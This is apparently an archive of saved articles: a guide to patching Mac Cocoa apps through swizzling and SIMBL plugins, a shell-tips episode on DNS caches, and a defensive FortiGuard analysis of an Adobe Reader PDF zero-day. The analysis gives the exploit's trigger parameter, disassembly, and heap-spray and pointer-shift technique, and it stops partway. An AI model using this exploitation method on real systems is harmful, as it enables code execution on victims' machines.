  * `nm` is included on virtually any Unix-like platform. This dumps out a list of C function names, mangled C++ calls, and Objective-C message names. 
  * `strings` is also pretty universal. This dumps out strings from the given binary - which is handier than you'd thing. Oftentimes "secret" preference keys will reveal themselves as you look at the strings within a binary. 
  * `gdb` is well equipped to help you on your way. You can run any application from gdb and set breakpoints on Objective-C messages, just as you would with a C function. You can also do some noodling around to explore data structures at runtime. Very powerful, but not the easiest tool to use. 
  * <img src='img/Temp2_1500.png' width='11' height='11' alt='[WWW]' /> class-dump is your friend. In fact, get to know it like family. class-dump loads a given chunk of Objective-C code and generates a fairly convincing header file of the classes contained within. This will give you an excellent snapshot of the application and you can learn a lot from the information contained within. 
  * <img src='img/Temp2_1500.png' width='11' height='11' alt='[WWW]' /> FScript/<img src='img/Temp2_1500.png' width='11' height='11' alt='[WWW]' /> FScriptAnywhere is a Smalltalk-like scripting language that integrates nicely with Objective-C and Cocoa. <img src='img/Temp2_1500.png' width='11' height='11' alt='[WWW]' /> FScriptAnywhere is a SIMBL plugin that loads an <img src='img/Temp2_1500.png' width='11' height='11' alt='[WWW]' /> FScriptinterpreter into any Cocoa application. Once the interpreter is loaded, you can explore code objects at runtime - examine values, call methods, etc. This is obscenely powerful - but you can of course completely corrupt application data as well. Be especially careful with anything that autosaves a database or complex data structure \(like iPhoto or Mail\) and be sure to backup before you start fiddling. 
  * <img src='img/Temp2_1500.png' width='11' height='11' alt='[WWW]' /> SIMBL is a framework for loading standard bundles into an application when it starts. You basically compile a standard Cocoa bundle \(use the default XCode template\), but add a couple of special keys to the Info.plist to specify which applications should load your bundle. There is more information and some code fragments further along in the article. 

## 5\. The Middle Part

Obviously every application is different. Some are a lot easier to reverse
engineer than others. Usually the better engineered the application is, the
easier it is to unravel it and make changes.

Figuring out what changes you can make is a little bit challenging and there
isn't much to say that can make it easier. You have to chip away and find out
what works. You need to look for methods you can easily override and try and
stay away from directly accessing member variables if possible.

My strategy is usually to `classdump` the binary and read the class names,
then start searching for relevant method names. Sometimes using <img
src='img/Temp2_1500.png' width='11' height='11' alt='[WWW]' /> FScript can be
a lot easier. If you want to know where a table view gets it's data, you can
use the object browser portion of <img src='img/Temp2_1500.png' width='11'
height='11' alt='[WWW]' /> FScript to disclose the view object behind a
control. Now you can walk up and down the view hierarchy to find the object
you are most interested in. From there you can explore the relevant data
sources. Often this takes you "where you want to go" faster.

## 6\. Patching Code

Assuming you've found a suitable method to override \(this might seem like a
big assumption for now, but eventually you'll find your in\) you need to know
how to substitute your code for the existing function. There are a couple of
"simple" options, but they each have some limitations.

### 6.1. Posing

Class posing is useful technique enabled by the Objective-C runtime. In a
nutshell, this allows you to create all future instances of class A as class
B, where class B is a subclass of A.

[code]

            [[B class] poseAsClass:[A class]];
    
    
[/code]

I won't go into too much detail - you can read Apple's documentation on class
posing or `+ [NSObject poseAsClass:(Class)_class]`.

Posing has a couple of shortcomings.

  1. Only instances created after posing will be created as the subclass. This means that there can be instances of class A lingering around if they were created before you performed the pose. Usually, this doesn't turn out to be a huge problem, but it's good to know up front before you go berserk trying to figure out why your code hasn't been swapped in. 
  2. You cannot add instance variables to the subclass \(which mostly defeats the point of the subclass\). I'm not 100% sure of the reasoning here, but I'd hazard a guess that it has something to do with some assumptions about the size of an object staying the same. Fortunately, you can approximate instance variables with the following idiom: 
     * 
[code]        static NSMutableDictionary* s_fakeIvars = nil;

        
        + (void) initialize
        {
                s_fakeIvars = [[NSMutableDictionary alloc] init];
        }
        
        - (id) init
        {
                self = [super init];
                [s_fakeIvars setObject:[NSMutableDictionary dictionary] forKey:[NSNumber numberWithInt:(int)self]];
        }
        
        - (void) dealloc
        {
                [super dealloc];
                // note: assumes 32-bit pointers
                [s_fakeIvars removeObjectForKey:[NSNumber numberWithInt:(int)self]];
        }
        
        
        
[/code]

  3. If you pose as a class for which you have generated the header \(say, with classdump\), if the size changes \(for example, with a new release of the target application\), your plugin will likely cause the application to crash. 
  4. Multiple plugins can pose as the same class - this can get a bit hairy. 

### 6.2. Method Swizzling

I forget where I first heard the term "method swizzling" but it is as good a
term as any. Basically, swizzling means that you swap the implementation of a
particular method with another. Another way of saying it is "renaming a
method." You are meddling with the internals of the Objective-C runtime, but
that's not as evil as it sounds.

Here's a snippet from DuctTape that might be worth 1000 words:

[code]

    /**
     * Renames the selector for a given method.
     * Searches for a method with _oldSelector and reassigned _newSelector to that
     * implementation.
     * @return NO on an error and the methods were not swizzled
     */
    BOOL DTRenameSelector(Class _class, SEL _oldSelector, SEL _newSelector)
    {
            Method method = nil;
    
            // First, look for the methods
            method = class_getInstanceMethod(_class, _oldSelector);
            if (method == nil)
                    return NO;
    
            method->method_name = _newSelector;
            return YES;
    }
    
    
[/code]

This means that the original name for the selector is abandoned and can no
longer call the expected code. This in and of itself might not be that useful,
so I frequently use the following idiom:

[code]

    // never implemented, just here to silence a compiler warning
    @interface WebInternalImage (PHWebInternalImageSwizzle)
    - (void) _webkit_scheduleFrame;
    @end
    
    @implementation WebInternalImage (PHWebInternalImage)
    
    + (void) initialize
    {
            DTRenameSelector([self class], @selector(scheduleFrame), @selector (_webkit_scheduleFrame));
            DTRenameSelector([self class], @selector(_ph_scheduleFrame), @selector(scheduleFrame));
    }
    
    - (void) _ph_scheduleFrame
    {
            // do something crazy...
            ...
            // call the "super" method - this method doesn't exist until runtime
            [self _webkit_scheduleFrame];
    }
    
    @end
    
    
[/code]

This snippet is from the image animation code in WebKit that PithHelmet
overrides. Obviously your method and the original method should have the same
signature. I usually prepend relevant abbreviations to keep things straight in
the code.

Since all method calls in Objective-C are looked up at runtime, anything
previously calling `- [WebInternalImage scheduleFrame]` is now routed to your
method. Pretty cool.

Method swizzling has some of the same limitations and workarounds as class
posing. You can't add true instance variables, but luckily the technique
described above works just fine for swizzling as well. One advantage is that
once you have swizzled the method, any object will call your code - whether
it's target was created before or after the swizzle. As I said before, this
doesn't turn out to be useful all that often, but when you need it, you'll be
glad it works.

## 7\. Building Your Patch

Now you need to get your code into your target application. I'll walk you
through a really basic SIMBL plugin.

### 7.1. Why Use SIMBL?

Strictly speaking, this isn't necessary. You could try and package your plugin
as an InputManager, but as you deal with the various shortcomings of that
approach, you'd end up writing your own version of SIMBL and wasting a lot of
your time resolving really generic problems. This is of course, boring, and
that's probably the best reason not to do it.

SIMBL does a few cool things for you:

  * loads Cocoa bundles in a safe way such that your plugin only gets installed in the intended application 
  * properly searches the library hierarchy to support user-specific and system-wide plugin installs 
  * makes sure only one version of a plugin loads \(preferring the user-specified version\) 
  * allows you to target a specific version of an application to squelch unwanted crashes 

Also, I estimate SIMBL is installed on over 100,000 machines \(in many
different countries\), so it has been well tested and most unlikely to create
a problem in any application in and of itself.

### 7.2. Creating A SIMBL Plugin Bundle

Creating a SIMBL plugin project is pretty simple, but there are a few things
that haven't really ever been properly documented.

  1. Create a new "Cocoa Bundle" project in XCode. 
  2. Create a basic plugin class - say, `MySamplePlugin`. You will use this class as a jumping-off point to setup the rest of your hacks. 
  3. Edit the `Info.plist`
    1. Set `NSPrincipalClass` to `MySamplePlugin`
    2. Create a new array key `SIMBLTargetApplications`
    3. Create a child dictionary of `SIMBLTargetApplications` with the keys `BundleIdentifier`, `MaxBundleVersion` and `MinBundleVersion`. All of them should have string values. 
       * `BundleIdentifier` should match that of your target application - say `com.apple.Terminal`
       * `MaxBundleVersion` should be a string version of the maximum value of `CFBundleVersion` for your target application. You can just put the current version to be safe. 
       * `MinBundleVersion` should be a string version of the minimum value of `CFBundleVersion` for your target application. Again, you can just put the current version. 
       * Currently, all of the version numbers must be parse-able as integers, but this may change in the future. These keys get more relevant when you start sharing your plugin with others. Basically, they are a way of keeping your plugin from loading inside a version of the application that you haven't had a chance to test with. If SIMBL encounters an application with an out-of-bounds version, it politely tells the user with an alert message that it won't load the plugin and to contact the developer. 
[code]            <key>SIMBLTargetApplications</key>

            <array>
                    <dict>
                            <key>BundleIdentifier</key>
                            <string>com.apple.Safari</string>
                            <key>MaxBundleVersion</key>
                            <string>412</string>
                            <key>MinBundleVersion</key>
                            <string>412</string>
                    </dict>
            </array>
            
            
[/code]

  4. Build out your plugin class. You probably want to put most of your initialization code in the `load` class method. This is a special method that SIMBL looks for when it loads a plugin's principal class. `load` gets called at a nice "safe" time when the application has mostly initialized itself and is pretty much ready for interaction with the user. While you can put your initialization code in other methods, I recommend putting it here. Usually I make the plugin class a singleton object, since it's often nice to have a single location to call "home." 
     * 
[code]        @implementation MySamplePlugin

        
        /**
         * A special method called by SIMBL once the application has started and all classes are initialized.
         */
        + (void) load
        {
                MySamplePlugin* plugin = [MySamplePlugin sharedInstance];
                // ... do whatever
                NSLog(@"MySamplePlugin installed");
        }
        
        /**
         * @return the single static instance of the plugin object
         */
        + (MySamplePlugin*) sharedInstance
        {
                static MySamplePlugin* plugin = nil;
        
                if (plugin == nil)
                        plugin = [[MySamplePlugin alloc] init];
        
                return plugin;
        }
        
        
[/code]

  5. Compile. Hopefully you don't get too many errors, but this can sometimes be a little tricky. You might need to set one of these handy flags \(LinkerSettings\) for hacking in Cocoa \(set these under Other Linker Flags\) 
     * `-undefined suppress`\(although, when using a two level namespace, XCode doesn't like this\) 
     * `-undefined define_a_way`
These suppress linking warnings when you are building a bundle that you know
will get loaded into a memory space where certain functions are assumed to be
already defined. This is instrumental in getting a lot of SIMBL hacks to work.

  6. Make sure your plugin gets loaded. Usually I create a user plugins directory and symlink the plugin bundles so I can quickly turn them on and off without affecting other users. 
     * 
[code]        mkdir -p ~/Library/Application\ Support/SIMBL/Plugins

        cd ~/Library/Application\ Support/SIMBL/Plugins
        ln -s ~/MySamplePlugin/build/MySamplePlugin.bundle .
        
        
[/code]

## 8\. Common Pitfalls

Things inevitably go wrong and you can blow a lot of time tracking down the
problem. Here are some things likely to bite you:

### 8.1. Software Updates

If you do some class posing or end up having to access member variables
directly, and you probably will, be aware that your plugin will probably break
when the underlying application gets upgraded. If the `@interface` you use to
compile your plugin is out of sync with the actual application, you will get
random crashes. This is the first thing I check with any new code release. You
almost always have to resize the objects you extend.

### 8.2. Symbol Conflicts

Things get ugly fast if you have a piece of code with a name conflict. There
are 3 common ways for this to happen:

  1. You name a class the exact same thing as another class that already exists in the application's runtime \(this includes other plugins that may have been installed at runtime\). I usually pick a prefix of 2 or 3 letters for all the classes for a particular project to avoid naming conflicts. 
  2. You have a category that defines a new method that has the same name as an existing method. Again, I usually us a prefix - especially on categories to Foundation or AppKitobjects. 
  3. You define a C function with the same name as an existing C function. 

Are you sensing a pattern here? Yeah, prefixes.

## 9\. Responsible Patching

Use version checking to turn off your plugins in applications that just won't
work - you don't want to cause other developers/Apple undue stress by breaking
every application upgrade. Trust me - I learned the hard way. I'm sure there
is a blacklist with my name on it near the Safari developers.

## 10\. What Now?

Go out and play. You just need to tinker a bit to get the hang of it. If you
need help, drop a comment on the wiki or send me some email.

# Command Line Kung Fu: Episode \#18 - Clearing The System DNS Lookup Cache

**Created:**| _5/16/2009 10:32:01 AM_  
---|---  
**Updated:**| _5/16/2009 10:32:05 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#18 - Clearing The System DNS Lookup Cache

Paul Says:  
  
In an effort to provide some quick command like tips \(we lovingly call them
"quickies"\) I wanted to share the OS X command to clear the local client's
lookup cache:  
  

[code]

    # dscacheutil -flushcache
    
[/code]

  
This is especially useful if you are doing some DNS changes and don't want the
local client's cache to obscure your results.  
  
Hal Says:  
  
Repeat after me: "Client side caches are a lousy idea that can only lead to
confusion and suffering. If your naming services are so unreliable that you
can't live without a client cache, then it's time to get a new naming
service."  
  
The Name Services Caching Daemon \("nscd"\) is the client-side cache for
Solaris and Linux systems. Generally I just turn it off on all of my machines,
but if you leave it running you can flush the cache with a command like:  
  

[code]

    # **nscd -i hosts**
    
[/code]

  
"passwd" and "group" are also valid arguments instead of "hosts", but it's the
local DNS cache that generally gets you into the most trouble.  
  
Ed Cleans Up:  
  
Per Hal's request to repeat after him: "Client side caches are a lousy idea
that can only lead to confusion and suffering. If your naming services are so
unreliable that you can't live without a client cache, then it's time to get a
new naming service."  
  
So, if it's got confusion and suffering, you better believe its an integral
component of the architecture of Windows. :\)  
  
In all seriousness, while Hal might not like it, I find the DNS cache in
Windows hugely useful when conducting investigations, so I can see what has
been recently resolved on the box. You can dump the DNS cache of a Windows
machine with:  
  

[code]

    C:\> ipconfig /displaydns
    
[/code]

  
The output will include all cached records, showing their remaining TTL in
seconds. Run it every one second, and you can see the times decrement. If you
happen to know the original TTL, you can get a feel for how long the record
has been in the cache \(realize, however, that the original TTL may not have
been the value set by the authoritative server, because the machine may have
gotten it from some intermediate server where it was cached for a while\).
Anyway, that's some useful information in an investigation, so you can piece
together a timeline of when certain actions were taken.  
  
But, the challenge at hand deals with clearing the DNS cache, which we can do
with:  
  

[code]

    C:\> ipconfig /flushdns  
      
    
    
[/code]

My buddy Lara Corcoran refers to some things as "easy peasy". When I first
heard her use this phrase, I found it annoying. But, it's addictive, and
saying it reminds me of Lara, which always makes me smile.  
  
Hal Puts in the Last Word:  
  
Actually, Ed, instead of using the local DNS cache as a proxy to figure out
what hosts the local machine has been communicating with recently, in Linux we
can actually dump out the kernel's internal routing cache:  
  

[code]

    $ **netstat -rCn**  
     Kernel IP routing cache  
    Source          Destination     Gateway         Flags   MSS Window  irtt Iface  
    68.238.96.36    67.18.149.10    67.18.149.10    l         0 0          0 lo  
    212.118.133.101 67.18.149.10    67.18.149.10    l         0 0          0 lo  
    72.95.246.206   67.18.149.10    67.18.149.10    l         0 0          0 lo  
    69.158.249.37   67.18.149.10    67.18.149.10    l         0 0          0 lo  
    67.18.149.10    68.105.28.76    67.18.149.9            1500 0          0 eth0  
    67.18.149.10    200.149.55.136  67.18.149.9            1500 0          0 eth0  
    67.18.149.10    93.190.136.10   67.18.149.9            1500 0          0 eth0  
    67.18.149.10    62.253.181.25   67.18.149.9            1500 0          0 eth0  
    [...]
    
[/code]

  
What you see are a bunch of host routes corresponding to the machines that
this host has been communicating with recently. This is incredibly useful
information in a forensic investigation.  
  
Paul Chiming In One More Time:  
  
To view the DNS cache table in OS X, you can use the following command:  
  

[code]

    # dscacheutil -cachedump -entries Host
    
[/code]

  
  
Which will output something like:  
  

[code]

    DirectoryService Cache Overview:  
      AAAA Queries  - Enabled  
      Buckets Used  - 40  
      Cache Size    - 10  
      
      Entry count by category:  
          Host  - 8  
          User  - 2  
      
    Cache entries (ordered as stored in the cache):  
      
        Category         Best Before         Last Access      Hits    Refs       TTL    Neg  DS Node  
      ----------  ------------------  ------------------  --------  ------  --------  -----  ---------  
            Host   03/30/09 16:39:19   03/30/09 16:39:12         3       4         9         
                       Key: h_name:twitter.com ipv4:1 ipv6:1  
                       Key: h_name:twitter.com ipv6:1  
                       Key: h_name:twitter.com ipv4:1
    
[/code]

  
  
This allows you to see which hosts are in the cache when the command was run.
I could not find a way to do the equivalent of a "netstat -C" in OS X.

# FortiGuard | Smashing Adobe's Heap Memory Management Systems for Profit.
**Created:**| _10/20/2009 10:24:01 PM_  
---|---  
**Updated:**| _10/20/2009 10:24:31 PM_  
**Author:**| __  
**Tags:**| _attacks Exploit research Malware-analysis_  
  

# SMASHING ADOBE'S HEAP MEMORY MANAGEMENT SYSTEMS FOR PROFIT.

**Smashing Adobe's Heap Memory Management Systems for Profit.**  
**2009.October.16**  
  
 _In-depth research on the recent PDF zero-day exploit_  
  
**Research and Analysis: Haifei Li**  
Editors: Guillaume Lovet \(Editing & Overview\), Derek Manky

### INDEX:

  * Introduction
  * Overview
  * Section 1: The Vulnerability
  * Section 2: The Exploitation
  *     * 2.1: The Mystery Function
    *     * 2.2: Taking Control of the Execution Flow
    *     * 2.3: The Heap Spray
    *     * 2.4: Smashing Adobe's Heap Memory Management System
    *   * Section 3: Post-Exploit Activity & Embedded Shellcode
  * Conclusion

## INTRODUCTION

As pointed in a recent blog post, PDF vulnerabilities are receiving an
increasing amount of attention in the security industry, matching
cybercriminal patterns. Very recently, a new high-risk PDF zero-day
vulnerability \(CVE-2009-3459\), was reported on Adobe's blog as being
exploited in the Wild, in the frame of a targeted attack. As of writing, a
vendor patch is available, and we highly recommend applying it. If for some
reason, immediate patching raises issues, security equipments \(AV, IDS, IPS,
etc...\) must be adjusted to block potentially malicious PDF documents
leveraging this vulnerability. For that purpose, this document will provide an
analysis of one malicious PDF file found in the wild, as well as in-depth
insights on that vulnerability.  

## OVERVIEW

PDF files are mostly made of tags, parameters, and streams, and can include
javascript code. This vulnerability stems from an integer overflow when Adobe
Reader processes a particular parameter. Now, integer overflows are fairly
common, but leveraging them into execution of arbitrary code is often
tremendously difficult and crafty. Whoever is behind this exploit managed to
do it, introducing in the process a rather innovative strategy \(not universal
though, it works only on Adobe Reader\). There are 5 essential steps in the
exploit:  
  

  * A parameter in the PDF file is set to a particular high value. Adobe Reader uses that parameter for an operation, resulting in an integer overflow. Consequence: the result value of that operation is smaller than the program would expect, given the value of the parameter.
  * That overflowed value is used to allocate a buffer on the Heap. The buffer is consequently smaller than it should be, given the parameter value.
  * The program follows its normal flow, which is to "adjust" contents of the aforementioned buffer according to information bit-encoded in a stream within the PDF document. This results in memory on the heap being overwritten \(Heap overflow\), since the processed stream is longer than the small allocated buffer.
  * Because the bitstream controlling those "adjustments" is provided by the attacker \(it's in the PDF document\), it is carefully tailored to overwrite just a tiny part of the heap memory. Because the possible "adjustments" are very limited, the best the attacker could do was shift a function pointer \(within a C-style structure located on the heap\) by 1 single byte. This function pointer is ultimately called, used as a transfer point to malicious code \(controlling the EIP\). Of course, changing the effective value of this function pointer through the 1 byte shift is the hardest part, and quite innovative. How to ensure that malicious code will sit here when the execution flow is eventually transferred, following the function pointer?
  * By spraying the heap with chunks of NOP slides ending with the desired shellcode. This is achieved with javascript embedded in the PDF file \(typical heap spraying method\).

  
The steps above will be studied in section 1 and 2. Some would say that what
happens once the attacker has gained control of the execution flow is mere
literature. It indeed pertains to the studied attack specifics, not to the
exploit in general: the payload of this attack will be addressed in section 3.  

## SECTION 1: THE VULNERABILITY

The parameter triggering the initial integer overflow \(thus the exploit\)
sits in the following section within in the malicious PDF:

[code]

    <<
    /ParamX 1073741838                      //the key parameter
    >>
    /Length 299
    /Filter /FlateDecode
    >>
    stream
    [stream encoded by flate, original stream is: 00 00 20 00 00 00 10]
    endstream
    
    
    
[/code]

ParamX is the key parameter, and is set to 1073741838 \(or 0x4000000E in
hexadecimal\). Note that the encoded stream is irrelevant, since at the point
of execution when the overflow occurs, it has been decoded \(ie "deflated"\)
already. The decoded, original stream is: 00 00 20 00 00 00 10. After long and
thorough debugging sessions, we finally came to this point, where the key
parameter \(0x4000000E\) is being used:  
<img src='img/Temp2_3261.png' width='160' height='110' />  
_Figure 1: The point of the vulnerability: Integer overflow_ Figure 1 above
shows that the process uses the parameter value 0x4000000E \(sitting in ECX\)
at instruction  _009F60A5h_ \(highlighted in red\). This instruction's goal is
seemingly to compute the amount of memory in bytes needed if one DWORD \(4
bytes\) is allocated per item. This is counted by the key param \(which means
that the param most likely represents a number of items\). That is why the
param value is multiplied by 4, and this is where the integer overflow occurs.
Highlighted in black background and red foreground on Figure 1 is instruction
009F60E5h, which is a call to the memory allocation routine using the
overflowed value \(as the value of EDX and ECX at 009F60D8h are both 0\):
acro\_allocate\_routine \(0x4000000E\*4+0x48\) ==> acro\_allocate\_routine
\(0x80\) _Note: We will discuss the "acro\_allocate\_routine" function in
section 2.3._ As a result, a heap block of 0x80 is allocated; it will be
processed by function 009F7ED0 called at the highlighted instruction on Figure
2 below:  
<img src='img/Temp2_3256.png' width='160' height='110' />  
_Figure 2: Before the heap overflow_ This function is listed and analyzed
below. For a better comprehension of the comments \(which are the most
important part in the listing\), pease note that:  
  

  1. **lpBuff** is the pointer of the heap block \(0x80 length\).
  2. **bits\_original\_stream** is the number of bits in the decoded stream.
  3. **v\_counter** is the current value of the counter, from 0 to bits\_original\_stream-1.

  
  
Again, the decoded stream was "00 00 20 00 00 00 10", which means
bits\_original\_stream is 0x38 \(7\*8\). The listing follows:

[code]

    .text:003A7FB4 loc_3A7FB4:                             ; CODE XREF: sub_3A7ED0+1CDj
    .text:003A7FB4                 mov     edx, [esp+3Ch+var_C] ; loop starts
    .text:003A7FB8                 mov     eax, [esp+3Ch+arg_0]
    .text:003A7FBC
    .text:003A7FBC loc_3A7FBC:                             ; CODE XREF: sub_3A7ED0+E2j
    .text:003A7FBC                 cmp     eax, ecx         ; if v_counter>=bits_original_stream,
    .text:003A7FBE                 jge     loc_3A80A3       ; break from the loop
    .text:003A7FC4                 mov     ebp, [esi+0Ch]   ; [esi+0Ch] is 4000000Eh here
    .text:003A7FC7                 add     eax, edi         ; edi is 0
    .text:003A7FC9                 add     eax, edx         ; edx is 0
    .text:003A7FCB                 cdq
    .text:003A7FCC                 idiv    ebp      ; v_counter idiv 4000000Eh
    .text:003A7FCE                 lea     eax, [ecx+edi]   ; edx became v_counter
    .text:003A7FD1                 mov     ecx, [esi+10h]
    .text:003A7FD4                 cmp     ecx, 3
    .text:003A7FD7                 lea     ebx, [esi+edx*4+44h]          ; lpBuff + v_counter*4 + 0x44
    
    ...
    
    .text:003A805C loc_3A805C:                             ; CODE XREF: sub_3A7ED0+168j
    .text:003A805C                 mov     edx, [ebx]
    .text:003A805E                 push    edx
    .text:003A805F                 mov     edx, [esp+40h+var_20]
    .text:003A8063                 shl     eax, cl
    .text:003A8065                 push    edx
    .text:003A8066                 mov     edx, [esp+44h+var_28]
    .text:003A806A                 shl     ebp, cl
    .text:003A806C                 push    ebp
    .text:003A806D                 push    eax
    .text:003A806E                 mov     eax, [esp+4Ch+arg_0]
    .text:003A8072                 add     eax, edi
    .text:003A8074                 shl     eax, cl
    .text:003A8076                 push    edx
    .text:003A8077                 call    sub_9D7850      ; will be analyzed later
    .text:003A807C                 add     esp, 14h
    .text:003A807F
    .text:003A807F loc_3A807F:                             ; CODE XREF: sub_3A7ED0+18Aj
    .text:003A807F                 mov     [ebx], eax       ; overwrite the DWORD with the return value
    .text:003A8081
    .text:003A8081 loc_3A8081:                             ; CODE XREF: sub_3A7ED0+149j
    .text:003A8081                                         ; sub_3A7ED0+163j
    .text:003A8081                 mov     eax, [esp+3Ch+arg_0]
    .text:003A8085                 add     [esp+3Ch+var_18], 2
    .text:003A808A                 add     [esp+3Ch+var_1C], 1
    .text:003A808F                 mov     ecx, [esp+3Ch+arg_4]
    .text:003A8093                 add     eax, 1          ; v_counter++
    .text:003A8096                 cmp     eax, [esi+0Ch] ; [ESI+0C]=0x4000000E, so keep looping
    .text:003A8099                 mov     [esp+3Ch+arg_0], eax
    .text:003A809D                 jl      loc_3A7FB4      ; loop
    
    
    
    
[/code]

So what does this function do? It might be easier to grasp a feeling of its
goal from the following pseudo-code:

[code]

    for(;;) {
            if( v_counter >=  bits_original_stream ) break;
            tmp_counter = v_counter % ParamX;
            lpCurrent = lpBuff + tmp_counter * 4 + 0x44;
            iRetVal = mystery_func( *lpCurrent, variables...);
            *lpCurrent = iRetVal;
            v_counter++;
            if( v_counter >= ParamX ) break;
    }
    
    
    
    
[/code]

Essentially, the function slides over each DWORD in the buffer \(remember, the
buffer is supposed to contain one DWORD per item listed by ParamX\),
overwriting it with the result of a "mystery function" \(mysterious as of yet,
but we'll address it in section 2.1\) at instruction 003A807F. This is where
the  _heap overflow_ occurs, and this is the operational heart of the exploit.
Because of the integer overflow, the buffer is actually a lot smaller than
expected; it should contain one DWORD per item of ParamX, but it does not,
thus when the counter enumerates items, it goes past the buffer's end. It is
interesting to note that the loop only exits when the counter reaches
**bits\_original\_stream** : v\_counter >= ParamX will never happen, because
of the huge value of ParamX. We will see afterwards that the original stream
bits are used by the mystery function, one per item. The total length of the
memory being written is therefore **bits\_original\_stream** \* 4 \(starts
from offset 0x44\): 0x38\*4 = 0xE0 Considering that the length of the heap
block which was allocated before \(Figure 1\) is only 0x80, the function will
overwrite 0xA4 \(0x44+0xE0-0x80\) bytes beyond the allocated heap block.
Monitoring these 0xA4 bytes of overflowed memory, shows that actually very few
memory values were changed. This is apparent on Figure 3 below:  
<img src='img/Temp2_3253.png' width='160' height='110' />  
_Figure 3: After the heap overflow_ Indeed, comparing it with Figure 2 above
\(before the heap overflow\), we see that only 2 DWORDs were modified by the
heap overflow \(Note: offset is relative to the end of the allocated heap
block\):  
  

  1. Offset 0x0C, from  _0x0121676C_ to  _0x0121676D_.
  2. Offset 0x90, from  _0x0124DA40_ to  _0x0124DA41_.

  
  
How and why those two slight modifications occur form the logical heart of the
exploit. This is addressed in the next section.  

## SECTION 2: THE EXPLOITATION

As we evoked above, the overflowed memory is set by the mystery function,
which uses the \(attacker-provided\) decoded stream.  

### 2.1: THE MYSTERY FUNCTION

[code]

    .text:009D7884                 mov     esi, edi        ; edi is v_counter
    .text:009D7886                 sar     esi, 3          ; v_counter/8
    .text:009D7889                 add     esi, [esp+1Ch+lp_original_stream] ; pass how many bytes
    .text:009D788D                 mov     ecx, edi
    .text:009D788F                 movzx   edx, byte ptr [esi] ; read next byte
    .text:009D7892                 and     ecx, 7      ; pass how many bits in the next byte
    .text:009D7895                 mov     eax, 8
    .text:009D789A                 sub     eax, ecx
    .text:009D789C                 sub     eax, ebp        ; ebp is always 1
    .text:009D789E                 mov     cl, al
    .text:009D78A0                 shr     edx, cl          ; set the lowest bit as the corresponding bit
    .text:009D78A2                 and     edx, [esp+1Ch+var_8] ; var_8 is always 1, so corresponding bit is the DWORD value
    .text:009D78A6                 cmp     [esp+1Ch+arg_C], 0 ; arg_C is always 0
    .text:009D78AC                 jz      short loc_9D78BC ; jump
    
    ...
    
    .text:009D78BC loc_9D78BC:                             ; CODE XREF: sub_9D7850+5Cj
    .text:009D78BC                 mov     ecx, [esp+1Ch+arg_10]; get the old_DWORD
    .text:009D78C0                 add     ecx, edx        ; new_DWORD = old_DWORD + corresponding-bit
    .text:009D78C2                 mov     edx, ecx
    .text:009D78C4
    .text:009D78C4 loc_9D78C4:                             ; CODE XREF: sub_9D7850+6Aj
    .text:009D78C4                 and     dl, [esp+1Ch+var_9]
    .text:009D78C8                 add     edi, [esp+1Ch+arg_8]
    .text:009D78CC                 mov     [esp+1Ch+arg_10], ecx    ; save the new_DWORD
    
    ...
    
    .text:009D78E5                 mov     eax, [esp+18h+arg_10]    ; return the new_DWORD
    
    
    
[/code]

In short, the function first retrieves a bit in the decoded stream by using
the current counter's value \(**v\_counter**\); as explained earlier, we can
consider that each item in the buffer has a corresponding bit in the stream,
thus we'll call this bit "**corresponding\_bit** ". This bit is then converted
into a DWORD and added to the DWORD \(representing an item\) being processed:
new\_DWORD = old\_DWORD + corresponding\_bit As a matter of course,
**corresponding\_bit** can only be 1 or 0. Thus the new DWORD cannot be set to
an arbitrary value: either it remains unchanged, or it is incremented by 1.
That is all the attacker can control, via the bitstream. Since the original
stream is '00 00 20 00 00 00 10', only the bits at position 0x12 and 0x33 are
set to 1. Thus only the two DWORDs located at position 0x12 and 0x33 will be
incremented. Relative to the end of the 0x80-length heap block, those DWORDs
sit at the following offsets: offset1 = 0x12\*4 + 0x44 - 0x80 = 0x0C  
offset2 = 0x33\*4 + 0x44 - 0x80 = 0x90 This matches what we observed at the
end of section 1 above. So, what are those two DWORDs, and why increment them?  

### 2.2: TAKING CONTROL OF THE EXECUTION FLOW

After many experiments, no matter what the memory situation was, it appeared
that one of these two DWORDs was a pointer. This pointer will point to a
C-style structure in a varying memory location. This structure is used while
Adobe Reader is rendering the page within the PDF. Most of the time this is
pointer2 \(offset2, 0x90\) that points to the structure. An example is given
below. First, we check that the pointer at offset 0x90 was incremented during
the overflow:

[code]

    Breakpoint 0 hit
    eax=02008b1c ebx=00000001 ecx=0012ed54 edx=0438afcb esi=0438af18 edi=0012eea0
    eip=009f7868 esp=0012ed3c ebp=0438afcb iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    AcroRd32!AVAcroALM_IsFeatureEnabled+0x63e09:
    009f7868 e863060000      call    AcroRd32!AVAcroALM_IsFeatureEnabled+0x64471 (009f7ed0)
    0:000> dd esp
    0012ed3c  0012ed54 0438af18 02008b1c 00000000
    0012ed4c  0210b734 01f2b424 0438afcb 00a8da8e 
    0:000> dd 02008b1c+80+90
    02008c2c  **0124da40** 00000544 0017ee98 ffffffff
    02008c3c  00000000 00000000 00000000 00000000
    
    Breakpoint 1 hit
    eax=00000000 ebx=00000001 ecx=00000038 edx=00000000 esi=0438af18 edi=0012eea0
    eip=009f786d esp=0012ed3c ebp=0438afcb iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
    AcroRd32!AVAcroALM_IsFeatureEnabled+0x63e0e:
    009f786d 83c40c          add     esp,0Ch
    0:000> dd 02008b1c+80+90
    02008c2c  **0124da41** 00000544 0017ee98 ffffffff
    02008c3c  00000000 00000000 00000000 00000000
    
    
    
[/code]

Before the overflow, the structure's pointer is  _0x0124da40_ , after the
overflow, it became  _0x0124da41_. The following figure then shows how the
structure is being referred to after the overflow:  
<img src='img/Temp2_3258.png' width='160' height='110' />  
_Figure 4: Going into the shellcode_ Firstly, the structure address is put
into EAX. Then the first DWORD value of the structure is read. If this value
is greater than 0x90, then it continues to read the value stored at offset
0x90 \(relative to the beginning of the structure\): the value at this offset
is read as a function pointer and is put into EAX. Finally, if this function
pointer is not NULL, it goes into the function. Thus, the goal of the attacker
is really to change the value of this pointer at offset 0x90 of the structure
\(note: it's just a coincidence that this offset is also 0x90, the same offset
used for the pointer to the structure relative to the heap block\). This
changed function pointer is used to gain control of the execution flow. To do
this, **the attacker could only increment the pointer to the structure** \(via
the bitstream, see previous section\), thus shifting all the values of the
